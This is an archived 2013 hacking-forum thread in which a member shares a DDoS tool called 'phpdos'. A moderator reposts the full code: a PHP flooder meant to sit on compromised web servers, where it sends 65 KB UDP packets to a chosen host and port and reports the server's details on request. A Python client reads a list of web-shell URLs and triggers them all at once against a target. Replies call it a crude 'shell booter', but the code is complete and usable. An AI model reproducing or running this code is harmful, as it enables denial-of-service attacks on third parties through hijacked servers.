This forum is in archive mode. You will not be able to post new content.

Author Topic: phpdos for python  (Read 977 times)

0 Members and 1 Guest are viewing this topic.

Offline Z3r0l

  • NULL
  • Posts: 4
  • Cookies: 0
    • View Profile
phpdos for python
« on: July 05, 2013, 08:19:44 PM »
Code in the annex, I hope in the forum to communicate with foreign friends despite my bad english

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: phpdos for python
« Reply #1 on: July 05, 2013, 08:45:37 PM »
Need more information to make sense.

Offline Phage

  • VIP
  • Overlord
  • *
  • Posts: 1280
  • Cookies: 120
    • View Profile
Re: phpdos for python
« Reply #2 on: July 05, 2013, 10:01:46 PM »
the name, phpdos, makes me suspicious as for this is an attempt to create a tool to DOS something? Anyway, more info is requested..
"Ruby devs do, in fact, get all the girls. No girl wants a python, but EVERY girl wants rubies" - connection

"It always takes longer than you expect, even when you take into account Hofstadter’s Law."

Offline Fur

  • Knight
  • **
  • Posts: 216
  • Cookies: 34
    • View Profile
Re: phpdos for python
« Reply #3 on: July 05, 2013, 10:41:40 PM »
*Sigh* since the OP is too lazy to post the code in tags, I took a minute to post it here. I honestly have no idea why Server.py is named so since it is a PHP script.

Server.py:
Code: (Php) [Select]
<?php
set_time_limit
(0);
$host $_GET['host'];
$port $_GET['port'];
$exec_time $_GET['time'];
$Sendlen 65535;
$packets 0;
ignore_user_abort(True);
 
if (
StrLen($host)==or StrLen($port)==or StrLen($exec_time)==0){
        if (
StrLen($_GET['rat'])<>0){
                echo 
$_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo 
"Parameters can not be empty!";
        exit;
    }
 
for(
$i=0;$i<$Sendlen;$i++){
        
$out .= "A";
    }

$max_time time()+$exec_time;
 
while(
1){
    
$packets++;
    if(
time() > $max_time){
        break;
    }
    
$fp fsockopen("udp://$host"$port$errno$errstr5);
        if(
$fp){
            
fwrite($fp$out);
            
fclose($fp);
    }
}
 
echo 
"Send Host£º$host:$port";
echo 
"Send Flow£º$packets * ($Sendlen/1024=" round($Sendlen/10242) . ")kb / 1024 = " round($packets*$Sendlen/1024/10242) . " mb";
echo 
"Send Rate£º" round($packets/$exec_time2) . " packs/s£»" round($packets/$exec_time*$Sendlen/1024/10242) . " mb/s";
?>


Client.py:
Code: (Python) [Select]
#coding:UTF-8
import urllib
print "**************************************************************"
print "                     PpDDoS by b3m0                           "
print "**************************************************************"
print
print
ip = raw_input("ip:")
po = raw_input("port:")
ti = raw_input("seconds:")
file = open("shell.txt","r")
for line in file.readlines():
    line=line.strip('\n')
    data=urllib.urlopen(line+'?host='+ip+'&port='+po+'&time='+ti)

Just looks like a shitty DoS tool (I believe people call this particular type a "shell booter").
Not even written well at that.
« Last Edit: July 05, 2013, 11:53:20 PM by Fur »

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.